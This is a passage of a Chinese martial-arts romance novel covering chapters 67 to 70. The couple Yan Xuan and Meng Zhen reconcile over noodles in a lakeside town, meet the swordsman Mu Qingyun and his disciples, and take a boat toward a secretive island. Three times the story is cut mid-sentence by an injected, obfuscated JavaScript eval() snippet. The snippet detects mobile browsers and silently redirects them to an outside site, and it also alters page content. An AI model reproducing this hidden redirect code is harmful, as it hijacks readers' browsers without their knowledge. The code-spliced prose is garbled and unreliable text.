司珩目光沉沉,似是气得不轻,花奕骑马落在他身侧一处,见状笑道:“前辈,缘分天注定。比起外头那些不知底细的,我觉着师弟他……也不算差,是吧?” “阿璇在他面前想怎么样就怎么样,他要是有任何不对,不说我,就是我师伯也不会叫他好过,我师伯于他就是父亲般的存在。所以,前辈别太焦心了。” “你师弟的身体好像不太好,一点内伤养好久了吧。” “呃,什么?”花奕愣了下,确定自己没有听错,她欲言又止,尴尬地眨眨眼。孟珎受伤未愈,一半原因不就是因为他…… 司珩微哼:“路遥知马力,日久见人心,且看着吧。记得叫他也给自己补补,把身体养结实了。” 花奕:“……” 养结实了是个什么意思,难道往后孟珎还得常常被试试拳脚? 说完,司珩一拉缰绳往前方去了,徒留花奕在风中凌乱。 几人紧赶慢赶,与司珩估算所用时间相差不差,入夜时分他们抵达了湖心镇。 杜若领着他们入住了一家客栈,晏璇看着酒旗上“雀来客栈”四个字,微微一笑。凭金雀山庄的实力,在这偏僻地方开家店当然不成问题,只是出于商业的考量显然没甚好处,很大可能只是为了住在岛上的那位才有这一切。 听时天辰说,他娘就剩时墉这个弟弟,打从年轻时便捧在手心里宠着,这是准备养一辈子了。人各有命,时墉也算是投胎了个好人家。当然,晏璇觉得自己也挺好运的,遇到了晏时蕴和卢晚茵,她几乎没吃过苦。 到了镇上,杜若就显得得心应手多了,他给众人安排好了食宿。晏璇在马车里闷够了不想接着关在房里,想饭后去街上走走。 孟珎自是听她的跟在身边,司珩倒是没说什么交待了句小心些便走开了,花奕早窜没了影,离开前还把晏曜一把拽走。 湖心镇比不得南塘,是与云边小镇差不多的湖边小镇。晚饭后,街上行人寥寥无几,亮着灯的只一些酒铺、杂货店和几个卖熟食的摊子。 孟珎推着晏璇,也没什么目的地,走走停停吹吹风。 “只剩我们两个了。”晏璇叹息一笑,这回司珩没跟着,她都有些不习惯了。 孟珎低头看她:“这样,也挺好。” 他说得轻缓自然,晏璇微愣,夜色中也瞧不清他的神情,只隐隐感受到了两人的心跳声。孟珎他……有些不一样。 “你……是不是觉得我不会说这样的话?”孟珎似读到了她的心声,紧接着道。 是啊,你就是个闷葫芦,傻木头,叫你往东就不会想着往西。 “对着你,我有许多想说的话,想做许多你想不到的事,我不愿只做你的闷葫芦。” “……” 孟珎用着平静的语气说着不平常的话,晏璇这下真愣住了。他好似看穿了她,连此刻她想什么都知道,突然的主动令她措手不及。 “师兄你……你是听到了些什么?” “没有。”孟珎停好轮椅,侧身蹲下,仰头看她的眼睛里亮色一片,“是我想靠你更近。” 近到她难过的时候不会想不到他,这世上除了爹娘,还有他为她欢喜为她忧。 孟珎抬手摩挲着她的嘴角,不知是她体温过高,还是他的手指微凉,触感太过分明,一下下的触摸不像只停留在嘴角,而是顺着她的背脊撩拨着她的神经,止不住颤栗。 孟珎他、他想做什么…… 晏璇默默吞咽了一口,木头人这是要进化成木头妖了?她的目光从他的脸上移到他的唇上,如露珠般水嫩的一片,上一次她还是新手,只感受到了那处的柔软…… 正当晏璇想入非非之时,孟珎低笑了下:“好了,擦干净了。” 什么?晏璇看向他的指尖,见他用指腹一蹭。 “是糖屑。”孟珎道。 方才在路上,晏璇确实嚼了块糖。 “哦,谢谢。”她呆愣着回道。 原来他没想着与她亲吻,她以为他说这一番话是……哎,白期待了一场,甚至还有点小失落。 “师兄,白天的时候,你……是不是去了河山镇?” “嗯,既路过便去拜祭了下故人。” 晏璇抿了抿嘴:“我知道你之前没对我说,是觉得那是你自己的事不想我费心,但是下次我还是希望你能告诉我,那样会让我觉得我们之间是不一样的。” “阿璇。”孟珎捞过她的手腕握着,垂眸道,“一路上,我想了很久,想对你说去我长大的地方看看,虽然那里早已是一片废墟。之后,你无意中了那人的药,我知你不服气一心想破解他的药方,同时,我也明白,你的胡话并非全是胡话,我还不够好,不足以令你全心信赖。” “师兄,我——” “没关系,你先听我说完。”孟珎揉抚着她的手背,轻声细语娓娓道来,“从小,你对身边的每个人都很好,温柔包容,好似没什么脾气,殊不知走进你的心里很难。最初,我只觉得喜欢你这件事是我自己的事,只要不是你对我说厌恶,我绝不放弃。而当我认识到你对我的好是独一份的,我便不能再忍受了。” “我有些闷,有些无趣,不知道哪一点让你另眼相看,总会想着这发生的一切会不会是梦,梦醒了,你就要回斛县,而我不知还能不能以师兄的身份再见你。” “不是梦啊……”晏璇轻叹。 “因为不是梦愈发叫我小心,没有护好你让你受伤已是我的无用之过,我不想再影响你其他。” “可是你已经影响我了。”晏璇挣脱他的手令孟珎一愣,在他错愕之际,双手捧上他的脸,“喜欢一个人并不表示他没有自我,正因为是喜欢才会互相影响对方,如果一方只是不断地低入尘埃,不对等的感情终会引来无数误会。就好比这次,你什么都不说,我虽知道原因却仍会忧心,想着你会不会因为记起过往而难过,你自以为的让我专心做自己的事,可在我知晓你离开的刹那就已经被影响了。” “阿璇,对不起……”孟珎心口颤动,茫然又无措,他好像又做错了事。 “不是你的错。”晏璇捧着他的脸捏了捏,叹道,“真说起来,该是我说声对不起。因为我没有让你感受到安定感,所以你才会一味地迁就我。” “师兄,对不起。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921678|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不,阿璇,是我,是我又错了。” 晏璇好笑地摇摇头:“哪有人像我们这样的,互相道歉。” 孟珎握住她捧着自己脸的手,认真道:“错了就是错了,而阿璇你永远不会有错,无需道歉。” “你……”晏璇语塞,脸颊微红,这迷惑人的话由木脑袋说出来都显得真诚起来,杀伤力更甚。 “我这么欺负你,你爹娘会不会生气啊?你去之前要是说一声,我还能问候一下。”她撇了撇嘴道。 “阿爹阿娘的墓不在那,我离开时师父帮我将他们的骨灰一起带走了。”孟珎蹭了蹭她的手,腼腆道,“在雾山,我已经告诉过他们我有喜欢的人了,他们不会生气的。” 晏璇:“……”总觉得哪里怪怪的。 “所以这些年我在雾山,都不知道你去祭拜过自己的爹娘?难道师兄你是偷偷去的?” 孟珎眼神游移,稍顿了顿道:“不算偷偷。你每次怕迷路,从不在山上乱走,以至可能一直未发现……” 晏璇:“……” 哦,说起来她也是半个路痴了。其实,最主要的还是她从未在意过,因为不在意所以未察觉。 孟珎去河山镇,既然想过告诉她后来又决定不说,大概也有那里没有他爹娘在的缘故。 说开了就行,每次他们两个谈心,总有种把一件小事闹出大动静的架势。好在,晏璇并不讨厌。 “师兄,我饿了。”气顺了就想吃点东西。 孟珎四处张望了下:“那边有个小面摊,吃面好不好?” “好。” 沿街上,也只有小面摊前还有两三个人。老板见了来人,忙擦桌子招呼。 “两位客官瞧着面生,是路过本地吗?想吃点什么?” 晏璇看见有一桌上的客人吃得特别香,细细的面条裹着泛着油光的汤水,隐约的葱花香飘来。 “那位客人吃的是什么?”她问道。 “哦,是阳春面,客官也来一碗?” “好啊,要两碗,有蛋吗?再加颗蛋。” “好嘞。” 孟珎移开餐桌前的板凳,将晏璇的轮椅推近,拿出帕子又将她坐的那面仔细擦了遍。 “师兄,其实我没那么讲究,那……什么是意外,除了那个都没关系。”晏璇低声苦笑道。 “擦了,你更安心。” “……” 远处草丛中传来夏日虫鸣,两人相视而笑,对坐着静待食物上桌。 “少主,看!是晏姑娘。”墙角暗处,一个高大身影指着前方道。 随后,另两个人从他身后转出,立于树影之后。 “……和那个碍事的男人。”其中一人哼道,他单手背在身后,脸上浮现笑意,“果真是缘分吗?她到这偏僻地方做什么?莫不是追着本公子来的?” 开口便是一副狂傲口吻,来人正是许久未见的苍翊,他身边二人自是敬澈和乔羽。 敬澈:“定是了,她拿了公子的秘药,必是想多谢公子好意。” 乔羽:“……” 苍翊轻笑:“瞧着脸色是好了许多,看来有好好服药,也不知有没有发生什么趣事自己把自己吓一跳,哈哈哈……” 乔羽:“……” “注意些,看看她来到底是做些什么,明日上岛前摸清他们的动向。”苍翊眯眼往远处盯了会,随即甩袖离开。 敬澈和乔羽低声应道,忙跟上他的步伐。 68. 第 68 章 “客官,您的面好了。” 两大碗阳春面被端上桌,清汤之上撒着一层细碎葱花,卧有金黄的煎蛋,卖相朴素,香味却很浓郁。 晏璇接过孟珎擦拭过的筷子,听他说着:“小心烫。” 她应了声,扶着瓷碗吹了吹,先浅尝一口,汤清而鲜美,熨帖脾胃。杜若准备了一堆丰盛的菜肴,她愣是没吃几口,在颠簸的旅途后,还是这般惬意地吃些简单又消食的来得舒坦。 孟珎:“好吃吗?” “好吃。”晏璇一口汤一口面,额上都渗出些许汗来,“师兄也快尝尝。” “好。”孟珎望着她浅笑。 晏璇吸溜了两口,见他仍是一副呆样,好笑中又不觉疑惑,自己吃饭随心不粗鲁也不优雅,实谈不上香,他到底是看什么? 一路从南塘来,他好像总看她不够,本是克制着的情绪透过眼神一点点向她侵染,晏璇每每回眸,十之七八必有他的身影。 想她踏上雾山,与他不经意对视上那刻,他还是个冷若冰霜满脸写着“不好惹”,对她,对除了师父外一切似乎都不屑极了的孤僻少年。小九那时问她,为何去主动招惹,她坏心眼笑答因为见他好看心中欢喜,现今她承认他是长了张她喜欢的脸,给他治伤祛疤不仅是为了赚生命值,奈何他本人不在意要她劝说过后才肯收下药膏。 他看,她也看。 晏璇咬了一口蛋细嚼慢咽,抬头盯着他扫过眼角眉梢,发现眉骨处的伤疤好像淡了许多。 孟珎脸上笑意微凝,他愣神眨了下眼睛。晏璇头一歪,也同他眨眨眼睛。 脑袋瓜里什么都没想,身体自然做出的反应。花奕若是见着了,白眼大约要翻到天上去,真正是两个腻歪的幼稚鬼! “二位的感情真好啊。”面摊老板擦着手,笑呵呵地走上前来。 一抹薄红窜上孟珎的脸颊,他垂眸坐直了身体。只与晏璇一起,他尚青涩时而羞赧,被旁人瞧见这副情状,再心怀坦荡也抵不住面红耳热。晏璇眼见着红色漫过他的耳根,圆润的耳垂像颗红玉珠,让人想上手把玩…… 她遏制住一些奇怪念头,收回视线笑道:“大伯,师兄与我自幼一块长大,我们自是……非常好的。” 一个“好”字被她说高了几个调,孟珎如盛满月光的明亮眸子瞥了她一眼。 “欸,怪不得呢,打小的情谊最是珍贵。”老板笑叹道,“我家妞儿本也有个和她要好的哥哥,可怜那孩子苦命遇到拐子被拐跑了,至今都没找着。” 这世上,除了少数郦城那种邪门地方,生养孩儿不易,做父母的其实很珍惜每个孩子的到来。老板三言两语下,就是个悲伤故事。信息闭塞车马不便的年代,寻人无疑大海捞针,纵使司珩一身本领,借助江湖势力,一找也是十几年。 晏璇叹息:“以大伯的年纪,您的女儿应该不小了,那人怕是丢了许多年。” “是,快有……十年了吧,天可怜见,那本就是一对孤儿寡母,自从孩子丢了,孩子娘到处奔波,起先还能在镇上偶尔见到,之后几年连大人也没了踪影,哎……” 在斛县时,晏璇落在面具男手里失了会踪影,她爹娘已是心急如焚如遭雷击。倘使她亲娘犹在,知道她出生便流落在外,会不会疯了般找她……不得深思,只是假想一下晏璇便有些食不知味了。 见她垂下手放了筷子,孟珎望向面摊老板道:“世事难料,希望那对母子能得上天眷顾,一切安好。” 小姑娘垂着头,小公子一脸冷然,老板察言观色,知自己唠叨过头了。 他忙将一瓷碟摆到桌上,歉声道:“瞧我这碎嘴,今日不知怎么就想起那些……千万别扫了您二位的兴。自家卤的一点豆子,请二位尝尝鲜,别嫌弃。” 浸透卤汁的豆子,似蚕豆又不似,个头饱满,散发着诱人的五香味,应是本地的一种作物。 孟珎轻颔首:“多谢老板。” “不用谢。我们湖心镇又小又偏,除了商队很少有外人来,你们是过来探亲还是就歇个脚?” 晏璇收敛了心绪,回道:“算歇个脚吧,听说附近有个湖心岛特别美,我们准备去看看。” “这……姑娘是听谁说起?”老板一下皱了眉,神情颇为严肃,“要有人哄你们来看岛上风景,那这人有些不大厚道啊。” 不厚道?杜若可是说流云岛宜居来着,看看风景会有什么不妥?晏璇看老板露出类似警惕的神色,嗅到了些许异样。 “大伯,此话怎讲?” “那湖心岛距离小镇不远,就在十里外,像立在蓝湖上的一座大山,要说景确实还好,但是那儿的人和咱们都不来往的,岛外的人上岛一旦发现就会被赶走。曾经镇上有人不听劝,偷溜着去了,结果差点……死在没人发现的地方。”老板似害怕说起这些,声音低沉了几分,“大家说那儿有怪东西,不能随便冒犯,不让人上岛是有原因的。知道湖心岛的不可能不了解这些,那人不对姑娘说清楚就是不厚道。” 许久以前,当人们不想别人踏足某些地方,往往就会编造出一些鬼神之说。听大伯的意思,岛上的人与世隔绝很是排外,想必流云岛也是故弄玄虚,所谓的怪东西说不定就是他们自己放出来的风。 那么,时天辰说他舅舅怕见人,把人安置在那养病,看似合理又透着诸多诡异,这个“怕”的程度是否太不寻常……晏璇之前猜流云岛会不简单,不想特殊之处在此,加上它偏僻的位置,岂不是武侠世界里主角的升级圣地。 时天辰虽表现温和,几次让她占便宜,晏璇不敢真信他是地主家的傻儿子。跑来这么个地方,仅仅让杜若陪着,足以说明夺命书生的不简单,路上谈及流云岛的次数不多,但他每次表现明显熟稔,莫非他原是岛上的人? 晏璇思绪飞转,无论对方藏了什么秘密,他们真是单纯顺路过来帮忙看个病患,希望时天辰这个天下第一庄的少庄主践行承诺,不要搞出不必要的麻烦。 老板一片善意提醒,晏璇听后点了点头:“确实没听人说起这些,或许他也是听别人讲的,只知这附近的景好。” “再好也没有性命重要,姑娘要是得空,可以去蓝湖逛逛千万别靠近岛。咱们这的蓝湖,天气好的时候,湖面上一片彩光,瞅着也好看。” 此时,有别的客人来光顾,老板说完便回锅炉前忙活了。 晏璇抬眼问孟珎:“师兄怎么看?” “先擦擦汗。”孟珎拿了块新的帕子递给她。 夜风一吹,那点薄汗早没了,晏璇还是接过抹了把脸,随之上下打量了他几眼,他那袖子里不知藏了多少东西。 孟珎迎上她的目光,嘴角微抿:“只带了三块。” 听意思好像还嫌带少了,晏璇忍不住笑出声:“师兄,我突然想到一则小故事。” 孟珎:“什么样的故事?” 她轻咳两声:“是说曾经有个人特别爱干净,几近吹毛求疵的地步,凡他所经之地,目之所及,身体有所碰触的地方都见不得脏污。某日,他的仇家找上门将他捉住,对方没有马上进行报复,而是将他绑在一间茅房旁边,每日里只往他身上抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14969233|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点脏泥,不等三日,那人便自绝而亡了。” 孟珎:“……” “若有一日有人想拿这种法子对付我,师兄放心,我必不叫人得逞。”晏璇低笑道。 孟珎沉了眉无声叹气,拿起筷子轻敲她的碗口像是敲在她的额上:“胡言。” “关于杜若,不必太在意,师父早年与他们庄主有些私交,此行又是他们有求于人,谨言慎行即可。” 晏璇还想与孟珎说说上岛的事,就听旁边传来几道血气方刚的声音,含祖宗量极高。 “格老子的,方圆几十里就这么个镇子,能吃上碗热面就不错了。” 随着一声呵斥,吵嚷声渐息。晏璇转头,见一个苍髯大汉大马金刀坐着,桌上一柄长柄大刀相当乍眼。几个着青色外袍的小子围坐一桌,垂首敛目,穿戴上与商陆的峋山派很是相像,看来也是某门派弟子。 “穆师叔,那惠山派的老尼就仗着师父他们好说话,凭什么她们在的地方,我们就得退避三舍。” “就是啊,师叔,管管金麓那小子吧,要不是他,弟子们也不至于跑来这吃面!” “安静。”穆青云抓起刀在桌上重重一放,发出一声巨响,“武林大会在即,不宜和别的门派起冲突。金麓呢,他人跑去哪了?” “不知道,打进到这就不见他踪影了,可能去追他的小姑奶奶了吧。”一弟子哼道。 话落,其他几个弟子或叹或笑,一副无可奈何的模样。 “格老子的小混蛋,回头再让师兄好好训他一顿。其他人,先填饱肚子!” 穆青云招了招手,面摊老板看着来势汹汹的几人,有些发怵,慢慢靠近低问:“客、客官还有什么吩咐?” “店家不必害怕,我们几个就是嗓门大些,你这儿除了面还有什么吃食?”穆青云缓了神色,笑问。 “有些卖剩的包子,不多。” “什么馅的?” “包的是白菜和萝卜丝的素菜包。” “好,麻烦您上两盘。” 老板转身去拿包子,穆青云坐着灌了口冷茶,猛地闷咳出声,止不住一连咳嗽。 几个竹竿精似的半大小子纷纷起身,七嘴八舌地又吵嚷起来。 “师叔,你怎么样?” “是不是旧疾犯了?刚刚那壶是冷茶。” “大夫说了不让您碰凉的,估计是又忘了。” “……” “行了,没事。”穆青云抚着胸口,强压住那股喉间的骚动,“格老子的,这大热天不喝口凉茶岂不要命。” “您喝了,更要命。” “那殷数到底有什么神通,害您伤了好久都没好。” 晏璇捧着面碗喝着汤,耳尖微动,若她没听错,隔壁这帮人提到了好几个熟人名字…… 穆青云眼眸沉沉:“那般使毒高手,年少时我也就见过两个,鬼医欧阳馗和萱娘子。所以,江湖上的人都猜他是鬼医的徒弟。” “为何不猜他是萱娘子的徒弟?” “她?”穆青云摩挲着刀柄上的刀绳,嘴角一点浅薄笑意,“没那些城府诡计,不然当年也不会差点饿死街头。” “不说她了,另有一人我一直很在意,当时若不是此人在十里坡救了我一命,而今焉有你们穆师叔在?” 是他……晏璇余光中瞅着那柄长刀,终是记起在哪里见过,彼时他头戴竹笠垂纱遮面,和好些人一起围攻了殷数。 孟珎轻瞥一眼,与晏璇的目光对上。 看来,师兄也记起他了。 69. 第 69 章 面摊老板热好了包子,顺手提了壶热茶端到穆青云的桌上。 穆青云一愣,仍颔首谢过,几个弟子拿了包子,边啃边围着他转。 “师叔,不是说那人是阆苑山庄的恰好路过救了大家?” “怎么可能?阆苑山庄的人就跟躲在龟壳里的王八似的,我不信是他们。” “那是药王谷的?师叔说过花斐那婆子脾气是差了点,但为人仗义,手底下的弟子差不了。” “什么婆子……小心被人听到,叫他们谷主将你绑了当药人。” “就这地方还能遇着他们?笑话。谁没事会跑来这。” 晏璇:“……” 她忍住伸手在桌上画圈的冲动,嘴角微微掀起,孟珎见了,将自己碗里的蛋夹到她碗中:“喜欢,多吃些。” 晏璇大方收下,开心地咬了一口。 “行了,都别嚷嚷了。”穆青云头疼地揉了揉眉心,“你们几个还说金麓的不是,一个个的嘴上也没点分寸,说起前辈,起码的尊敬怎可忘了?” “这,这不是跟着师叔喊习惯了,要是当面遇着他们,弟子们也不敢的……” 穆青云:“……” 听罢,他捏着眉心的手更用力了几分,这群小兔崽子! “师叔觉得救人的是谁?会是近日品贤阁那个遮遮掩掩的药师玄吗?” “之前,金麓伤了灵山派那狗、小子,眼看着是要不行了,喂了那人的药捡回一条命。” “你们啊,出门在外都收着些脾气,说到这事我就头疼!”穆青云抬手一一指过众人,“要真把人打死了,一命换一命不够,廖雪遥那老东西得把峒山搅得鸡犬不宁。” “可是,说好四大门派同气连枝,灵山派那几个却出言不逊骂到师父头上去,我觉得金麓那回没做错……” “气不过就出手,这是谁教的,啊?”穆青云伸手就给小弟子一个爆栗,“就算想教训人家不会动动脑子?只管铆着劲揍人和那些不入流的氓匪有何区别?说过几次要三思而行,总这般冲动迟早惹祸上身,丢了性命。” 穆青云好不容易压制住的那股邪气又冲到胸口,他忍不住呛咳两声。 弟子们忙收了嘀咕声,连连道:“师叔莫气,您教诲得是!” 自师兄隐退,峒山派式微,穆青云清楚得很。几大派明争暗斗,对盟主之位虎视眈眈,明哲保身、低调行事对于如今的峒山派来说绝无坏处。 穆青云摆摆手:“世事变迁,四大门派已不复从前。师门重要,你们己身安危也重要,都听话些。” “是,师叔。” 弟子们抿嘴皱眉,纵有难忍不忿,在穆青云面前还是乖乖应下了。 穆青云顿了会才道:“那日我前去助阵,十里坡外还有峋山派弟子守着,从中了殷数毒功到被发现解救,中间未过去许久。后听临仙门的师侄说起,当时我们之中有一对男女是路过歇脚,举止镇定不似常人,或许救人的就是那二位。” 晏璇喝下最后一口汤,孟珎也放了筷子,不似常人的二位慢条斯理地吃完了一碗面。 有弟子问:“不知是哪个门派的道友?做了好事不留名。” 穆青云叹道:“这世上多有沽名钓誉之辈,也有行事不张扬的侠义之士。” 被赞为“侠义之士”的晏璇颇不好意思地扬了扬眉。听这位穆前辈说话,胸怀开阔,行事磊落,对弟子们也多有爱护,与他粗犷不修边幅的样子很不一样。金麓若有他的教诲,不说循规蹈矩也该有所收敛,可听这些弟子谈起,他依旧是我行我素野性难驯,看来着实很难管教,当年他跟初七做下那些事时就没想过自己还是个正派弟子。 孟珎将饭钱搁在桌上,起身去推晏璇的轮椅。晏璇茶足饭饱也想动动,便自己先转着轮椅退离桌边。 一声中气十足的“小心”在耳边乍响,一只大掌轻轻地抵住了轮椅的靠背。晏璇微愣,抓牢了两边木轮。 “啊,对不住,是我的锤子没放好。” 一个圆脸少年匆匆站起,从晏璇后侧抡起一柄长锤靠放到桌边一侧。 晏璇瞥了眼,黑沉沉的圆形单锤,昏暗的灯下看不大清。 “姑娘,没事了。”穆青云缓了声线,像是怕吓到她轻声说道。 孟珎忙箭步上前扶住了轮椅,对穆青云他们微一点头转身欲走。 晏璇侧头抬了下手,示意他等一会。孟珎微怔,低头询问:“怎么了?” 晏璇摇摇头,将腰间百宝袋搁在腿上,从里面找了找,翻出一个竹叶纹样的小瓷瓶,倒了几粒丹药进去,随后将药瓶塞进了孟珎手里,手指划过他的掌心,脸朝向一旁努了努下巴。 孟珎感受着她指尖带来的一点痒意,明白了她的意思,凝望着她的侧脸暗叹了口气。晏璇眨眨眼,复又伸出小指轻挠着他的手背。 孟珎整只手掌都变得有些僵直,他紧抿了下唇,阿璇尚未意识到她只稍对他做点什么,他就忍不住一些意动,非他自己所能克制。 “知道了。”孟珎道。 他直起身转向穆青云走近两步,几个小弟子甚是警觉,马上围上来皱眉道:“有何事?” 孟珎垂眸,脸色平静:“方听大侠似有旧疾咳症,家人稍懂岐黄之术,这有一瓶润肺驱寒的药,是……小妹感念大侠仁义特赠。” 晏璇:“……” 她是想让孟珎送个药,谁知他如此正经,一番话说得头头是道,全不似他的作风。晏璇颇感滑稽,忍住笑意侧耳听着。 孟珎一口气说完,不等对方反应,将药一放便匆匆推着晏璇离开,仿若后面有什么追着。 “哎!好生奇怪一人。” 弟子们呐呐,均摸不着头脑。 “师叔,那两人不会是骗子吧?” 穆青云抚着胸口,视线从走进夜色的二人身上转到桌上的药瓶上。 他的仇家不至于伪装成一个不良于行的女子来暗害他。穆青云拿起药瓶端详。 面摊老板来收拾饭桌,听到少年的疑问,插嘴道:“那姑娘听说有孩子丢了几年,心有不忍难受了好一会,我瞧着是个温和心软的好姑娘。” “老板,他们不是本地的吧?”有弟子追问。 “不是,是一对游山玩水路过此地的兄妹,想是哥哥带身体不好的妹妹来散心。” “散心散到这么偏的地方,也不怕路上被劫?” “十多年前这儿或有山匪作乱,现在都很安稳的。” “哦,也是,毕竟属于丰州,雷霆山庄还在上头镇着呢。” 穆青云边听弟子们和老板谈话,边取下瓶塞轻嗅了下,一股清凉微苦的味道扑鼻,胸中的窒闷感顿时少了些许。 略懂医术的男女,镇定自若的模样,事了拂衣去的淡然……穆青云微眯了双眼,总觉得眼前这幕有些熟悉…… 晏璇回到客栈时,司珩几个俱都坐在她房内,一脸不虞,像是特地等着她回来问话。 司珩向她投来一眼,语气平平:“逛得可还开心?” 看来,舅舅的不高兴不是针对她的,晏璇点了点头:“在夜市附近走了走,有个摊铺卖的油炸豆腐特别好吃,舅舅可去尝尝。” “下回吧,明早需得坐船上岛,马车先停在客栈,我们骑马过去。” 杜若欲言又止,终是垂首未语。 晏璇瞥他一眼,难道是他说了什么令人不快的?关于流云岛,舅舅他们还不知道那些规矩呢。 “那就这样吧,回来了就早些歇息。你,孟小子,过来我有话和你说。”司珩甩了把袖子,率先出了门。 孟珎将她推到花奕身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14995277|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,托她帮忙照料,随后跟着出了房门,杜若便也拱了拱手告退。 晏曜早被打发休息去了,房里只剩下花奕。晏璇自己撑着床沿,从轮椅上挪到床上,随口问道:“方才是发生了什么?” 花奕搬了条圆凳坐下,比了比大拇指:“你舅舅不愧是你舅舅。” 晏璇失笑:“奕姐姐这话……” 花奕叹了口气:“哎,我是想起他当年令人胆寒的名声,披云堂的事虽未告之于众,但你舅舅确有一身骇人本领。” “刚才,姓杜的和我们说,明日上岛只接你和孟珎去。你舅舅当即不同意,我肯定也不能离你太远。” “他罗里吧嗦一大堆话,你舅舅只问他行或者不行,救人的事也可作罢。他往那一坐,气势往外一放,我还以为见到了峒山的穆老怪。” “穆老怪?”晏璇一愣,她不久前还真见到了峒山派一位姓穆的前辈。 “穆青云,峒山派的大长老。长得五大三粗,杀气腾腾的,但是人特别好说话,耍得一柄长刀,那一手千斤斩,妙极。” 晏璇了然笑道:“奕姐姐对各家刀法还是了如指掌。” “嘿嘿,还行。你舅舅就跟穆老怪似的,双手撑在膝上简直霸气外露,姓杜的便不说话了。” 司珩只要是不涉及她的事,其实也很好说话。杜若大抵还是受流云岛那些个不成文的规矩所影响,才会提出让他们在客栈暂歇。 晏璇想了想,道:“我与师兄在外头听到一些传言,流云岛不简单,是个不准外人踏足的地方。” “不简单又如何?”花奕满不在乎地双手抱胸,“时天辰既请了你来,就知会有如今这场面。我还担心他整什么幺蛾子,将你困在岛上怎么办。” 晏璇笑着摇头:“将我困在岛上有何用,我又不能给他们赚钱。” “怎么不能呢?”花奕凑近她,捧住她的一双手,“看看这是什么?” 晏璇:“我的手?” “表面上它是手,实际上是能炼出无数灵丹妙药的巧手。他们要是逼迫你天天炼药,不炼不给你吃饭,你说怎么办?” “……” 花奕戳戳她的额头:“是不是都没想到还有这种可能存在?” 晏璇虽对时天辰抱有戒心,可从未往花奕说的方向想过。天下第一庄想要一个人神不知鬼不觉的消失,太容易了,无需绕一大圈来达到这个目的,可若是她得罪了他们,顺便在岛上将她绑了,就能说得过去了。 晏璇知道花奕只是随口揣测,可真要有这种暗无天日的故事发展,她不禁浑身起了鸡皮疙瘩。 “怕了吧,哼哼!不是我不信孟珎的功夫,是我不信这个世道。明日,时刻待在我旁边。”花奕安抚地拍拍她的肩。 晏璇:“……” 第二天一早,天刚微亮,几人几匹快马向着流云岛出发,几里路不过几个瞬间就到了。 蔚蓝的一片湖,郁郁葱葱的一座岛屿立于其中,早上雾气未散,如薄绸般弥漫在岛周,微风吹拂,轻纱曼妙,湖上折射出的彩光为其添上了一抹神性,流云岛的得名大约来此。 杜若下马,朝湖边招了招手:“船家,上岛。” 只见岸边靠着一艘小木船,有一人背手躺靠在船头,竹斗笠盖住了其头脸。 “船小,人多,不好走。”一道低沉的男声从斗笠下传来。 杜若:“先载这位姑娘和公子上岛。” “一人一趟七十文。” “……行。” 晏璇瞥了眼,不知杜若停顿的那一瞬在想什么……难道是许久没回来,发现物价上涨了? 她掩嘴咳笑一声,感觉一道冷沉的视线扫来,等她抬头却没发现异常,船家已带上斗笠撑着船桨站在船头。 “上船,走了。” 70. 第 70 章 木船窄小,走一趟勉勉强强够载三人,司珩让孟珎带着晏璇和晏曜先上岛,他和花奕随后。 应是昨日的谈话令司珩起了防备之心,他不放心她与杜若一道。杜若没说什么,甚至沉静得反常,只是交待了他们上了岸后在原地等待,不要乱走。 晏璇拄着木拐扶靠孟珎站着,低头看了眼,原先木板绑缚的伤腿换了薄竹片固定,她废人半个想走也不能。被病体磨了多年脾气,她自认还算看得开,可要是这段时间身边没人帮衬,可能也忍不了许多。 病人会常常发火生闷气,并不是他们真的想,而是长期的身心折磨令他们亟需发泄,无力和愤懑化作言语上的暴力或是精神上的沉郁,那些情绪极其稳定的不是装的就是有着某种极端念头。 臂弯处传来几下不轻不重的揉捏,晏璇侧头,迎上孟珎的目光,一片恬静温和中如大海般包容了她心中所有的不快。他们这行人中,属孟珎样貌有损看似最狠厉,然他是静水流深,是她安心的后盾。 孟珎向其他人颔首示意过,弯腰抱起她,晏曜背着药箱紧跟其后。船内有一条木板凳,孟珎将她放在上头坐稳,自己则蹲守在她前方,轻抬她的左腿搁放在他腿上。 待三人都坐定,船家开始摆桨出发。小船离岸越来越远,花奕倏地挥手大喊:“阿璇,你小心些,等着我们。” 晏璇回望,岸上三人分开而站,神色各异,但无一不严肃静默。她瞧着周遭的蓝湖水澄净如翡翠,晨起的空气又清新凉爽,若没有杂事,他们本可以一起游个湖。 然而,一路来除去必要的歇息几乎马不停蹄,晏璇知司珩迫切,盼着此间事了赶往郦城。 